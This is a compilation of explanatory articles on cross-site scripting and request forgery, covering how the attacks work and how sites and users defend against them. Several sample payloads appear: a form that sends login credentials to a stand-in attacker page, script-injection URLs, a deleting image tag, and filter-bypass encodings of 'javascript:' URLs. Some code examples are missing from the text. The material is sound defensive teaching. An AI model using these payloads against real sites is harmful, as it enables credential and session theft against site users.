Cross-Site Scripting

Cross-site scripting ('XSS' or 'CSS') is an attack that takes advantage of a Web site vulnerability in which the site displays content that includes un-sanitized user-provided data. For example, an attacker might place a hyperlink with an embedded malicious script into an online discussion forum. That purpose of the malicious script is to attack other forum users who happen to select the hyperlink. For example it could copy user cookies and then send those cookies to the attacker.

Details

Web sites today are more complex than ever and often contain dynamic content to enhance the user experience. Dynamic content is achieved through the use of Web applications that can deliver content to a user according to their settings and needs.

While performing different user customizations and tasks, many sites take input parameters from a user and display them back to the user, usually as a response to the same page request. Examples of such behavior include the following.

• Search engines which present the search term in the title ("Search Results for: search_term")
• Error messages which contain the erroneous parameter
• Personalized responses ("Hello, username")

Cross-site scripting attacks occur when an attacker takes advantage of such applications and creates a request with malicious data (such as a script) that is later presented to the user requesting it. The malicious content is usually embedded into a hyperlink, positioned so that the user will come across it in a web site, a Web message board, an email, or an instant message. If the user then follows the link, the malicious data is sent to the Web application, which in turn creates an output page for the user, containing the malicious content. The user, however, is normally unaware of the attack, and assumes the data originates from the Web server itself, leading the user to believe this is valid content from the Web site.

For example, consider a Web application that requires users to log in to visit an authorized area. When users wish to view the authorized area, they provide their username and password, which is then checked against a user database table. Now, assume that this login system contains two pages: Login.asp, which created a form for the users to enter their username and password; and the page CheckCredentials.asp, which checks if the supplied username/password are valid. If the username/password are invalid, CheckCredentials.asp uses (for example), a Response.Redirect to send the user back to Login.asp, including an error message string in the query string . The Response.Redirect call will be something like the following.

Response.Redirect("Login.asp?ErrorMessage=Invalid+username+or+password")

Then, in Login.asp, the error message query string value would be displayed as follows:

Using this technique, when users attempt to login with an invalid username or password, they are returned to Login.asp and a short message is displayed indicating that their username/password were invalid. By changing the ErrorMessage value, an attacker can embed malicious JavaScript code into the generated page, causing execution of the script on the computer of the user viewing the site. For example, assume that Login.asp is being called using the following URL.

http://www.somesite.com/Login.asp?ErrorMessage=

As in the code for Login.asp, the ErrorMessage query string value will be emitted, producing the following HTML page:

The attacker embedded HTML code into this page in such a way that when users browse this page, their supplied username and password are submitted to the following page.

http://www.hax0r.com/stealPassword.asp

An attacker can send a link to the contrived page via an email message or a link from some message board site, hoping that a user will click on the link and attempt to login. Of course, by attempting to login, the user will be submitting his username and password to the attacker's site.

Prevention

Cross-site scripting is one of the easiest attacks to detect, yet many Intrusion Prevention Systems fail to do so. The reason why cross-site scripting can be easily detected is that unlike most application level attacks, cross-site scripting can be detected using a signature. The simple text pattern

To accurately detect cross-site scripting attacks the product must know where and when to look for that signature. Most cross-site scripting attacks occur either with error pages or with parameter values. Therefore the product needs to look for cross-site scripting signatures either within parameter values or within requests that return error messages. To look for signatures in parameters values the product must parse the URL correctly and retrieve the value part and then search for the signature on the value while overcoming encoding issues. To look for signatures in pages that return error messages the product needs to know that the specific URL returned an error code. Intrusion Detection and Prevention Systems which are not Web application oriented simply do not implement these very advanced capabilities.

What is cross site scripting

Cross site scripting (XSS) is where one site manages to run a script on another site, with the privileges of you, the user.

In many pages, this would be completely harmless. But now imagine that you have logged into site A, and that site has used a session cookie to store your identity. If site B manages to make you load a page on site A containing a script they have injected into it, that script could take the cookie for site A, and send it to site B. The person running site B can now use your cookie in their own browser, and can now use site A, making it think they are you.

In the case of site A being a blog or forum, they could erase or alter your posts, add new abusive posts, or erase your account. In the case of Web mail systems, they could send abusive email to your colleagues, delete any emails, or read all the passwords you have been sent in your email, which may give them access to even more systems. In the case of it being a banking site, they could make large cash transactions using your bank account. In the case of banking or shopping sites, they could obtain your banking details, and use them to make their own purchases.

XSS can also be a problem from users on shared sites, such as forums or blog comments, where users may find a way to inject scripts into page content, where the exploit can survive much longer than just a single page load.

Cookies are not the only target of cross site scripting, but they are a very easy way to exploit a simple mistake made by the site author. In some cases, it may be possible to inject a script onto the login form of the site, and convince you to fill it in, and then they can make it send them your password. Or they could simply make it load another page on the site, submitting form data to it, or using other means to perform actions on your behalf.

Unlike phishing scams where a site tries to trick users into thinking it is another site, XSS is the real site, not a fake. It has just allowed another site to run a script on it, in the context of one of its users.

What is cross site request forgery

Cross Site Request Forgery (XSRF or CSRF), also known as Cross Site Reference Forgery, is similar in some respects to XSS, but very different in one important respect. It does not rely at all on being able to inject a script. It is more unreliable, but its effects can be just as damaging.

The general idea of XSRF is that while you are logged into site A, you also look at a page on site B. Site B is evil, and submits form data to site A, or requests Web pages from site A using some other means. Since you are logged into site A, it uses the form data as if you yourself sent it. That may then do all of the same things as XSS attacks, such as creating forum posts, or making bank transactions.

Having strong passwords that cannot be guessed or calculated is always a good idea, but XSRF (and XSS) bypasses that part of the protection, as it works once the user has logged themself into the site using their strong password.

Who is to blame

Blame is a fairly harsh word, since it is the attacking site B that is really to blame, but evil sites are a fact of life, and site A should protect its users. XSS in particular is always the result of a mistake on the part of the site with the vulnerability. XSS is also worryingly common, many sites make the basic mistakes that allow XSS attacks.

How can users protect themselves

Most users are not even aware that XSS and XSRF are possible. And they should not need to be. Users should not be expected to be security experts - if they were, you as a Web developer would be out of a job. However, users who wish to protect themselves can take a few steps to do so.

The basic step is to never open other sites while you are logged into a site. This means that while you are logged into your bank, shopping site, blog, forum, web mail, side admin section, etc., never open another site in any window. Do not click links in emails, or other applications. If you use Internet Explorer (I recommend against this if you value your security), do not run programs like Word (that includes opening attachments in email), or generally any other programs that view Web pages, as many Windows programs use the Internet Explorer engine either directly or via macros, and may be used as a vector for these attacks.

If the site uses cookies to log you in, make sure you log out when you are finished using it. If the site does not allow you to log out, or if it uses HTTP authentication, then restart your browser. If the site uses a cookie based login but not session cookies, and does not allow you to log out, then you may find that your browser allows you to delete those cookies manually.

The next step is to disable JavaScript while logged into a site. This may seem like a drastic measure, but it will protect against virtually all XSS (but not XSRF) attacks. Unfortunately, many sites will not allow you to use them without JavaScript, so this step may not be possible. If the site is important enough, such as a bank, but still does not allow you to disable JavaScript, then I suggest you use a different bank.

You may also want to disable iframes if your browser (such as Opera) allows that. This step should not be necessary as long as you do not browse other sites at the same time, but if you do, it makes it a little harder for XSRF attacks to be carried out, as most (but by no means all) of them use iframes.

All of these measures are extremely limiting, and certainly not something most users would want to do. So the final step will always be the one that is preferred: Make sure the sites you log into have actually checked their sites for XSS and XSRF attacks. Not just that they are aware that they exist, or believe they are safe, but that they have actually run checks to make sure they are protected against those attacks.

How do you know what type of login a site is using

Cookie logins are fairly easy to identify. They are almost always what can be seen as a form on a Web page, asking you for a username or email address and password. HTTP authentication (or similar types of authentication) are shown as a dialog that appears in its own little dialog window in front of the Web page, asking you for a username and password.

Shopping sites almost always use either a cookie or a URL encoded session ID, and virtually never use HTTP authentication. In general, you can tell which they are using by looking at the page address. If it contains a large amount of seemingly random characters (usually near the end of the address), then it is probably using a URL encoded session ID. Otherwise it will be using a cookie.

Working out if a cookie is a session cookie or not is a little harder. Some browsers may allow you to see the properties of stored cookies, or to prompt for them with their details when the server tries to set them. However, a simple test is to log into the site, then without logging out, close all browser windows, then restart the browser, and try reloading pages on the site. If you are still logged in, then it is not a session cookie.

There are some alternative types of login, such as using a client certificate (which you will normally have been asked to install at some point), or IP based authentications (typically used on local intranets). It is not normally possible to log out from either of these, even by restarting your browser. In general, you can identify these either because you had been asked to install a client certificate (not a normal root certificate), or because you never had to log in in the first place.

How can Web sites protect themselves

These are very complex issues, and there are no simple solutions, but there are certain things that the site should always do. In almost all cases, it is server side scripting that needs to be changed or fixed.

Cross site scripting

This is by far one of the most common mistakes made by Web authors, and turns up on a substantially high number of sites - even those you would expect to be written by knowledgeable authors. Some even dismiss these mistakes as harmless, or trivial, ignoring the dangers of what those mistakes can present.

The vulnerabilities themselves are not almost never created by sites having poorly written JavaScripts. XSS vulnerabilities are usually caused by a server side script that allows another site to put a new and dangerous JavaScript on the page. A site does not need to have any JavaScripts of its own for it to be vulnerable to XSS attacks.

Let us take this simple example; somewhere on a site, there is a form that a user can fill in. If they fill it in with invalid details, the form is displayed again, with what they typed last time shown in the the form inputs, allowing them to change whatever was wrong. This is often done with login forms, although it could in fact be any form on the site while they are logged in. On its own, this is not dangerous at all, and is in fact a very good thing.

The problem is that some sites forget to escape the data before putting it back into the form. Assume that the form had this:

<input name="foo" value="">

Now assume that the site displays it to the user like this (I will use PHP here, but it could in fact be any server side language):

<input name="foo" value="<?php
print $foo;
?>">

With that single, simple print command, the site has opened itself up to XSS attacks. Imagine now that the evil site uses an iframe, link, image URL or form submission to the url:

http://goodsite.com/sillypage.php?foo=%22%3E%3Cscript%3Einsert-evil-script-here%3C/script%3E%3C%22

The server side script would then create this in the page source code:

<input name="foo" value=""><script>insert-evil-script-here</script><"">

The implications of this are immediately obvious. The evil script could then load other pages on the site using XMLHttpRequest, even taking any URL encoded session ID into account, and in doing so it could add or change data, or make form submissions, etc. It could also read any session cookies, and send them back to the evil site as part of a URL using an iframe, image, script, stylesheet, or just about any type of external content. The possibilities are fairly limitless. This simple change would have protected the site:

<input name="foo" value="<?php
print htmlspecialchars($foo);
?>">

Although forms are the most common place where this happens, it is not the only time this can be a problem. The same situation occurs if a site writes unescaped content as part of any page content - for example, many pages use a single page that writes whatever information it was passed as a page heading.

sillypage.php?content=%3Ch1%3EPage%203%3C/h1%3E

Note that even if scripting is prevented by other means, an attack could, for example, display a false login form to the user, that sends the details to another site. They could also display misleading information. Though not as harmful as a XSS vulnerability, as it needs the user to be tricked into following those instructions, this is still a problem that needs to be prevented.

Escaping data

So the solution is to ensure that if contents like this are entered into the form, that the server side script escapes them before adding them to the page content. HTML offers a simple way to escape these; use HTML entities for < >& and " characters. Yes, for virtually all situations, this really is all it takes. PHP offers a simple function to do this; htmlspecialchars. Other languages sometimes offer ways to do this, but some do not. One of the big offenders is JSP which, to my knowledge, has no equivalent method. Authors simply do not realise they should create one for themselves. Many JSP pages are left open to XSS attacks as a result.

It is not enough to escape just < and > characters, since quotes can be just as damaging inside an attribute. If quotes are not escaped, the attribute can be ended, and a new event handler attribute started, that triggers when the user clicks it, or focuses it, or moves their mouse over it. If you are putting the content inside an attribute, make sure the attribute uses " (double) quotes, or the attribute could also be ended simply by including a space (if using ' [single] quotes around the attribute value, make sure you tell PHP's htmlspecialchars function to convert those as well inside the attribute value).

Form data must also be escaped before using it as part of a database query, typically by putting backslashes before quotes (again, PHP has inbuilt methods for doing this). Failure to escape it could allow people to end the query, and start a second one, deleting random data, corrupting databases, or at worst, being able to run shell commands, and take over the server. A similar situation could occur if your script uses that data to construct a shell command.

Never trust URLs you are given

Some pages allow a form to submit a "next URL" value, that the user will be redirected to after the data has been processed. Sometimes this is done with a Location header, but sometimes it is done with a meta refresh or JavaScript. With meta refreshes and JavaScript, if the URL that is given is a 'javascript:' URL, then the script will run. A malicious site could easily use this as a way to post scripts onto a page. Always check that URLs provided as form data start with a trusted protocol, such as 'http:' or 'https:'.

Being careful with scripts

In very rare cases, cross site scripting vulnerabilities are created within JavaScripts. Although far less common than server-side script mistakes, it is still possible to make equivalent mistakes in JavaScript. JavaScripts can read data passed in the URL, and must be careful how they process that data. If they assign that data to any object that accepts url values, such as the src of an image or the location object, any scripts can be injected into it.

An example of where this usually occurs is an image gallery script, where the image to display is passed as a parameter to the page address, and a script then extracts it to display the image. If a script accepts URLs as a parameter, it must always check that the URL starts with a trusted protocol, such as 'http:' or 'https:', or it will leave itself open to this sort of attack:

http://goodsite.com/gallery.html?showimage=javascript:evil-script-here

Similarly, if the data is evaluated by the page using the eval or an equivalent method, attackers can simply feed their script directly into that parameter. A script must never evaluate something passed as a parameter to the page.

Using HTTP-only cookies

Cookies that are set via HTTP (such as authentication cookies) are also available to scripts. One of the most common demonstrations used for cross site scripting, is taking another user's login cookie, and then performing some action as them. If the cookie was not available to scripts, they could not take them. Internet Explorer and recent versions of some other browsers allow an optional 'httponly' parameter when setting HTTP cookies, which prevents them from being accessible to scripts.

This is not a solution, as it has only limited scope. For a start, this is only useful if all browsers support it - as I have already said, the exploit only needs to work once in one browser for it to be successful. More importantly, however, cookies are rarely used in real exploits. Someone who manages to inject a script into someone else's page is not very likely to use their cookie themselves, as that would immediately give away their IP address, making it easier to locate and prosecute them. They are far more likely to run a script there and then, to do the damage through the user themself. HTTP-only cookies give a false sense of security; they may protect some people from demonstrations, but they will not protect from real attacks.

Of course, the main point is that it should never be allowed to get to this stage. XSS should be prevented at all costs. If you have a XSS vulnerability in your site, then cookie stealing is the least of your problems. Fix the real problem, not the symptom.

Using HTTP authentication

HTTP authentication is like the HTTP-only cookie, except that it works in all browsers. It still suffers from the same false sense of security, however, and in addition, no browser currently allows you to log out of it, meaning it is more susceptible to delayed XSRF attacks.

Storing safer cookies

Some sites take the simple approach of saving the user's username and password in the cookie. This is an instant giveaway if a XSS attack manages to get the cookie, as they have the username and password. Even if the user logs out, the attacker can log in again. It is better to store a unique session ID. That way, if they log out and the server invalidates the session, the attacker can no longer do anything with the cookie. To make it even harder for an attacker, the server can tie the session ID to the user's IP address. Attackers would have to be able to use the same IP address for them to exploit it - this is possible (for example, they may be behind the same NAT), but it makes it much harder.

However, again, cookies are only a minor concern considering that the XSS vulnerability can be exploited in a number of ways, that do not need any cookie at all.

Allowing only certain HTML input

Some people want to allow certain HTML to be used, but not others. Typically, this is for forums, where users should only be allowed to enter basic HTML that does not affect other users, or blogs, where comments should only use basic HTML. This is certainly not trivial, and unless you are very experienced in avoiding XSS attacks, I suggest you leave well alone, and escape everything.

However, if you feel that you know enough to do this, then prepare to step into a minefield.

The basic idea is not to remove anything you think is dangerous, but to remove everything unless you know it is safe. The number of ways that scripts can be added to a document is quite staggering - some of these only work in certain browsers, but it only takes one of these to work in one browser for the exploit to be a success:

• A script tag.
• A script tag that has a namespace prefix in its tag name;

  <div xmlns:foo="http://www.w3.org/1999/xhtml">
    <foo:script>...script here...</foo:script>
  </div>

• Event handler attributes - these typically begin with 'on', and may have spaces before and after the '=' sign (and can also have a namespace prefix).
• Link href (A, AREA or LINK elements, or XML processing instructions), base href, image src, input src, image usemap, form actions, input actions, xform submission actions, object data (or equivalent PARAMs such as url), object codebase, embed src, applet code, applet archive, applet codebase, iframe src, frame src, img longdesc, iframe longdesc, frame longdesc, blockquote cite, q cite, ins cite, del cite, meta refresh, meta link, body/table/th/td background, XLink URLs, DOCTYPE SYSTEM identifiers, ENTITY SYSTEM identifiers, and generally any attribute that acceps a URI value - all of which can have a 'javascript:' URL (or a 'vbscript:' URL in IE).
• Any of those within a custom namespace.
• Any attribute in Netscape 4 that uses JavaScript entities (or script macros) such as align="&{...script...};".
• Any of those elements (or a parent element) using xml:base with a 'javascript:' URL as its value.
• CSS url(javascript:...) values (these can also be in imported or linked stylesheets).
• CSS @import "javascript:..." (these can also be in imported or linked stylesheets).
• CSS -moz-binding or behavior (these can also be in imported or linked stylesheets).
• CSS expression (these can also be in imported or linked stylesheets).
• HTML style attributes that use any of those CSS methods.
• Iframes, frames, links, etc. with 'data:' URLs of pages containing scripts (currently these are treated by some browsers - but not all - as a script from another domain, but that is not a requirement, and browsers may change in future, since a same-domain response is expected and more useful).
• Objects, embeds or applets that then run a script on the parent page (in most browsers this is allowed without any of the usual cross domain restrictions).
• XML entities, which can contain any other scriptable content, and hide it behind a harmless-looking entity reference:

  <!DOCTYPE foo [
    <!ENTITY bar '<script xmlns="http://www.w3.org/1999/xhtml">...script here...</script>'>
  ]>
  <foo>&bar;</foo>

  These can also be defined in a remote file, which is loaded through a harmless-looking URL:

  <!ENTITY bar SYSTEM "http://example.com/extra.xml">

  Or even indirectly via a custom DOCTYPE, which then contains the entity references:

  <!DOCTYPE foo SYSTEM "http://example.com/untrusted.dtd">

• XSLT which creates scripts using any of the other points (XSLT itself can also be very damaging).
• XBL which makes additional elements or attributes become scriptable.
• XUL which contains script elements or scriptable attributes.
• Conditional comments, which can then contain any other HTML, but appear to be only a comment.
• Script within SVG images (or equivalent namespaced script elements).
• XML events 'listener' elements or namespaced attributes.
• VoiceXML and VoiceXML events.
• XML processing instructions (like <xml-stylesheet href="javascript:...">).

There are certainly many other ways to put a script into a page, and that is why I call this a minefield. You absolutely must not blacklist elements or attributes you know are dangerous. You must whitelist those that you know are safe. Even seemingly safe elements such as LINK (or the related CSS @import rules) can end up importing a stylesheet from an untrusted source that contains the harmful content described above.

As well as whitelisting elements, you must also whitelist the attributes that each of them may have. Anything that is not on your whitelist must be removed, or deliberately altered so that it no longer functions as the element or attribute it is intended to be. PHP has a function that is supposed to help do this, called strip_tags. However, this copes very badly with invalid HTML, and it is possible to bypass it by feeding it specially broken HTML.

Stripping tags is a fine art, and can be exceptionally difficult, as you must be able to cope with intentionally broken HTML, designed so that after the tags have been stripped, what remains is another tag that was created by the removal of another one. An example would be this:

<<script>script>...evil script...<</script>/script>

Stripping them multiple times would be equally uneffective (unless a matching 'while' loop was used until the tags had been removed), as they could be nested to indefinite levels, but could end up with something that browsers understand.

Remember that "LiNk", "LINK" and "link" are all considered to be the same tag in HTML. In XHTML, namespaced elements can also be the same as non-namespaced ones. For the sake of simplicity, it is easiest to remove anything that is namespaced; if someone is trying to use a namespace in a forum post or blog comment, then they are probably trying to exploit something anyway.

Once tags have been stripped, attributes must also be stripped, to remove any attributes that are not considered safe, or required (the HREF attribute of a link and the SRC attribute of an image are not safe, but are usually needed anyway). If there is any chance that any of your users may still be using Netscape 4, then every attribute, even if normally safe, needs to be sanitised to remove JavaScript entities.

For removing tags and attributes, you may find it more effective to use a simple XML parser that only allows the non-namespaced tags and attributes you have decided to allow. Anything else can throw an error (make sure it does not attempt to display the rendered output in the error message, or you will be back where you started).

Finally, now that you have only the markup you want to allow, you must now ensure that unsafe attributes have their contents sanitized so that JavaScript URLs and data URIs are removed. This can be more difficult than it sounds.

Removing all instances of 'javascript:' will simply not be good enough. For a start, if the content initially contained something like this, removing instances of 'javascript:' will leave it with 'javascript:':

jajavascript:vascjavascript:ript:

A while loop would be able to take care of that, but there are several cases where browsers can be tricked into treating something as a 'javascript:' URL, even though it does not look like one. Some may work in only a few browsers, some will work in all of them. Examples would be these:

ja<![CDATA[vasc]]>ript:
jav&#x09;ascript:
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;
url("java\scr\ipt:...")
u\r\00006C\000028"\00006A\00061\0076\061\73\63\72\69\70\74\3A...")

The list of these is very extensive - some work in only selected browsers, but quite simply, if you intend to allow HTML, you must be able to recognise and disable all of them. See the XSS cheat sheet for a fairly complete list. Note that some browsers also support other potentially dangerous protocols. IE also supports 'vbscript:', BrowseX also supports 'tcl:', Netscape 4 also supports 'mocha:' and 'livescript:' which are synonymous to 'javascript:', several Mac browsers support 'applescript:' (although supposedly that is safe), and no doubt there are other obscure browsers that support scripting in other languages with their own protocols, such as 'cpp:'. Many browsers support the 'data:' protocol, which in some of them will be treated as a file from the current domain, and can contain scripts. Mozilla browsers support the 'jar:' protocol, which can be used to unpack individual files from zip archives, jar archives, doc files, odt files, etc., and run them in the context of the site they are stored on (due to a bug, it also does not update the context if the URL triggers a redirect), which can be a major problem if you allow arbitrary files to be uploaded or otherwise attached to the Web site, such as with Web mail. It can even refer to a zip file contained in a 'data:' URL, meaning that it does not need to be uploaded, and can all be contained within the URL.

Future versions of major browsers may also support other potentially dangerous protocols. Remember that more ways to trick browsers into running scripts are discovered all the time, and you will need to keep your pages protected against them. An easy way to do this is to always insist that every URL a user provides must start with 'http:' or 'https:' (or 'ftp:', if you want to allow that). This is by far the best protection, as it ensures that only those safe protocols can be linked to, even if it may be slightly more inconvenient for the user to type. Other protocols you might want to consider safe are: 'mailto:', 'irc:', 'ircs:', 'gopher:', 'news:', 'nntp:', 'feed:', 'wap:', 'wtai:', 'about:', 'opera:', 'smsto:', 'mmsto:', 'tel:', 'fax:', 'ed2k:', 'dchub:', 'magnet:'. I do not recommend whitelisting streaming media protocols, for reasons given above and below. Be warned that with META refresh tags, some browsers allow multiple instances of the target URL, and any one could contain the scripted protocol.

Failing to cope with all of these possibilities could lead to a fully fledged attack being launched against your site. The MySpace worm is a good example of the lengths that you will need to go to, to protect yourself against these attacks.

Using BB code

BB code is like a simplistic version of HTML. There are several variations - wikis generally have their own syntax that serves a similar purpose. The general idea is that instead of using normal HTML, the user is allowed to enter only a small selection of HTML equivalents, that are then converted into the HTML they represent, with all other content escaped.

This makes it easier to work out what is or is not allowed - if it does not match the exact patterns, it is not converted. This can be less difficult than having to detect which parts to remove, as the parts of HTML that end up being used are generated by the server, and will not include anything that is considered dangerous.

However, this approach still does not cover 'javascript:' URLs (or other dangerous protocols) in permitted attributes, such as link href, and image src. These will still need to be taken care of, including all the possible variations, as described above.

Embedding content from other sites

It is possible to use content from other sites, such as images or scripts, from other sites (a practice sometimes known as "hotlinking"), using an absolute URL:

<img src="http://othersite.com/someimage.jpg" alt="">
<script src="http://othersite.com/somescript.js" type="text/javascript"></script>
<iframe src="http://othersite.com/somepage.html"></iframe>

In some cases, such as images and iframes, scripting is not a problem, since the JavaScript security model will not allow scripts on pages from one domain to interact with pages on another. However, it is not always safe. If the other site decided to abuse this situation (perhaps in order to get back at your site for wasting their bandwidth by hotlinking), they could rewrite the script hotlinked by your site, to make it do something unexpected, with as much abusive power as cross site scripting. Even with pages in frames or iframes, they could display fake login forms, or inappropriate information convincing the user to give them sensitive information. Since the content appears to the user to be part of your site, they might trust it. It is important that you do not embed content from other sites unless you really trust them.

Plugins are also an extremely effective example. The plugin API allows plugin content to interact with scripts on the page (or create their own), without restriction. The plugin can be hosted on any domain, but if it is embedded on your page (using the OBJECT or EMBED elements, but not frames), it can run scripts as part of your page without being stopped by the JavaScript security model. This is different to other types of page content.

In the case of Flash, there is an optional ALLOWSCRIPTING parameter that can be set to "never" which will prevent the flash movie from communicating with JavaScript, but Flash is just one of many possible plugins, and others do not have an equivalent. Embedding plugin content from other sites, or allowing users to do so, basically opens your site up to cross site scripting attacks.

The same problem is true in reverse. If you produce plugin content, and that content has access to sensitive information, some other site may embed your content in their own page, and start interacting with it using scripts. If the information can be accessed through scripts, then it can be accessed by any page that embeds your plugin content. This is of particular importance to Flash-based shopping sites, or plugin-based security systems. The plugin itself may offer some form of protection (such as checking the hosting domain), but this is up to the individual plugin, and you should refer to that plugin's documentation for more information about protecting your content from remote scripting.

Cross site request forgery

XSRF attacks are based on knowing what the URL will look like, and knowing exactly what data the server expects to be passed, in order to perform an action, such as changing database data, or purchasing items.

http://goodsite.com/delete.php?delete=all

They also rely on the target site thinking that the user themself submitted the form, or requested the action from the site itself, and not another site.

Any solution must make it impossible for another site to do either of these.

XSRF attacks also rely on the user being logged in, and to visit the exploiting page, while the attack is carried out. These conditions require a certain amount of social engineering, and the success rate will also depend on timing. However, it only needs to be successful once for the effects to be extremely damaging. The solutions I will present are not exhaustive, you may also find others, but I recommend you use a combination of these approaches.

Some proposed solutions attempt to use multi-page forms to ensure the correct submission path is followed, and use POST instead of GET as the form method. Neither of these offers effective protection. Both make things a little harder for the attacker, but can fairly easily be circumvented. They can use a real form to get POST to work, and use timed submission in frames, iframes, or popups to simulate multi-page submission.

Although XSRF attacks are usually referred to with two separate sites being involved, this is not a requirement. Blogs and forums are very easy targets. For example, if you post an entry on your blog, and somebody comments, they can put HTML code in the comment that causes the blog post to be deleted as soon as you look through your comments.

<img src="http://blogsite.com/deletepost.php?id=23456">

These attacks can also be carried out through BB code or wiki syntax, as long as an element is allowed that has a URL value. Considering how many elements have URI values, this is a fairly reliable attack. It also has the added benefit that users will usually be logged in while viewing comments on their own blog or forum. This particular type of attack can be partially protected against by insisting that forms that request actions use POST instead of GET, but as I have already said, POST is definitely not a complete solution to the XSRF problem.

Encode a session ID in the URL

This is a fairly simple way to make it virtually impossible for a malicious site to predict what the URL of the target page will be. Make sure that the session ID is sufficiently long and unpredictable, so that the site cannot simply try multiple combinations until one works. 20 random characters should usually be sufficient, but you may want to use more.

Unfortunately, this means that the site will need to generate every page to make sure that the session ID is used by every page, every link, every form (as a hidden input). It is not convenient, but it is very effective protection.

Check referrers

If a page containing a form or link is supposed to be the only page that can send data to a server-side processing script to request an action, then that processing page should check the referrer header to make sure that the page that requested the action was the correct page. Any requests from other pages (including if no referrer is sent, or if it is blank), should not cause any processing, and instead, should display a warning saying that the referrer header was not correct.

Note that some browsers can disable the referrer header if the user requests it - they should be asked to enable it again. Some browsers never send a referrer header. If you intend to use the referrer header as a security precaution, then these browsers will simply not be able to use the site. It is important not to allow requests that do not have a referrer, as an exploiting site could use a trick to prevent a browser sending the header, and this must not be mistaken for a browser that never sends one.

This on its own is not a complete solution for multi-user sites such as blogs, blog comments, or forums, as the attacker may be able to create forms or equivalent links on the page itself and convince you to click a button to initiate the action.

Prompting for passwords

This is a very unpopular idea, but it is a very effective way of ensuring that the user is themself, and not a page that has posted form data as that user. The form that submits data to the processing page should also have a field where the user must enter their password (yes, even though they are already logged in). If the password is not correct, then the processing page must not process the data. Attacking pages will not know the user's password, so they will not be able to fake the form submission.

Pass unique IDs in form submission

Instead of having to encode a unique session ID in every page, include it in a hidden input in the form that submits to the processing page. This can be the same as the user's session ID that is held in a cookie. With XSRF attacks, the attacker does not know what the user's session ID is, so they will not be able to send that part of the form data. The processing page should then check for that session ID, and if it does not find it, it should reject the submission.

Secure sites

Many sites, such as shopping and banking, use encrypted connections to allow users to ensure that they are talking to the correct site, and to prevent attackers from sniffing network data packets. These require a whole new level of attack (as well as the XSS and XSRF attacks), but considering the amounts of money involved, these attacks are profitable enough to be done.

Encrypted connections do a lot more than just encrypting data sent by the user. They also encrypt pages sent tothe user, and offer a certificate path that allows the user to ensure they are talking to the real site before they give it any sensitive information.

Typical attacks would involve intercepting and rewriting a page before the user receives it. This could be done through a compromised router, for example. Another would be to use a compromised DNS server to point the user to the wrong server that pretends to be the real site - the user's address bar will of course show the correct site, and it could even be encrypted. Strictly speaking, these are not cross site scripting attacks, but the effects are the same; some content of the page is changed by a third party, so that sensitive information can be sent to them instead.

Secure connections can deal with both of these situations. Firstly, an encrypted connection can be intercepted, but the attacker cannot read or rewrite the page content, unless they can break the encryption fast enough. This is why it is important to use high level (typically 128 bit) encryption, as it is not currently possible to break within the lifespan of the attacker. Some of the lower level older encryptions (56 bit) can be broken within just a few seconds.

Encrypted connections also offer the ability to check the certification path. This is also virtually impossible to fake, so a user can check the certificate to make sure it is the right company. The browser can check the certification path to ensure the certificates are valid, and that the certification path is correct. Any failures will cause a browser to display warnings to the user so they are aware that the site may not be who it claims to be.

The first and one of the biggest mistakes a site can make is to use both secure and insecure content on the same page. An attacker only needs to compromise one file in order to carry out a successful attack. If they compromise the insecure content (such as replacing a safe script file with an unsafe one), the secure content is compromised as well. This mix of content security happens on quite a few sites, and browsers usually display warnings, but are moving towards denying it altogether.

The next most stupid mistake is to have the login form on an insecure page, that posts the login information to the secure page. It assumes that since the data is encrypted when it is sent, that everything is OK. This happens on a disturbingly high number of bank sites, especially those in the USA.

The problem with this approach is that the user should be able to check the site is real before they give it their information. If the DNS has been compromised, they would only find that out after they have sent their login details to the wrong site. If the page has been altered by a compromised router, for example, to change the action of the form, the user would not know about it until after they sent their data to the wrong site (or if it then sent them to the real site, they would never know).

Very occasionally, there is the problem that an encrypted site sends data - via forms, XMLHttpRequest, or any other means - to an insecure page, either directly or via a redirect. Packet sniffing and rewriting means that an attacker has immediate access to that information.

Secure sites need to ensure that they do not make any of these mistakes, as well as not allowing XSS and XSRF attacks.

Cross Site Scripting 해킹 관련 자료 입니다. 무료 테스트 버전도 있네요.

Cross Site Scripting Attack

Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records.

Cross Site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques.

In the pie-chart below, created by the Web Hacking Incident Database for 2011 (WHID) clearly shows that whilst many different attack methods exist, SQL injection and XSS are the most popular. To add to this, many other attack methods, such as Information Disclosures, Content Spoofing and Stolen Credentials could all be side-effects of an XSS attack.

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.

Today, websites rely heavily on complex web applications to deliver different output or content to a wide variety of users according to set preferences and specific needs. This arms organizations with the ability to provide better value to their customers and prospects. However, dynamic websites suffer from serious vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data.

"A web page contains both text and HTML markup that is generated by the server and interpreted by the client browser. Web sites that generate only static pages are able to have full control over how the browser interprets these pages. Web sites that generate dynamic pages do not have complete control over how their outputs are interpreted by the client. The heart of the issue is that if mistrusted content can be introduced into a dynamic page, neither the web site nor the client has enough information to recognize that this has happened and take protective actions." (CERT Coordination Center).

Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.

As a hacking tool, the attacker can formulate and distribute a custom-crafted CSS URL just by using a browser to test the dynamic website response. The attacker also needs to know some HTML, JavaScript and a dynamic language, to produce a URL which is not too suspicious-looking, in order to attack a XSS vulnerable website.

Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually these are present in Login forms, Forgot Password forms, etc…

N.B. Often people refer to Cross Site Scripting as CSS or XSS, which is can be confused with Cascading Style Sheets (CSS).

In a typical XSS attack the hacker infects a legitimate web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

As a web developer you are putting measures in place to secure the first step of the attack. You want to prevent the hacker from infecting your innocent web page with his malicious script. There are various ways to do that, and this article goes into some technical detail on the most important techniques that you must use to disable this sort of attack against your users.

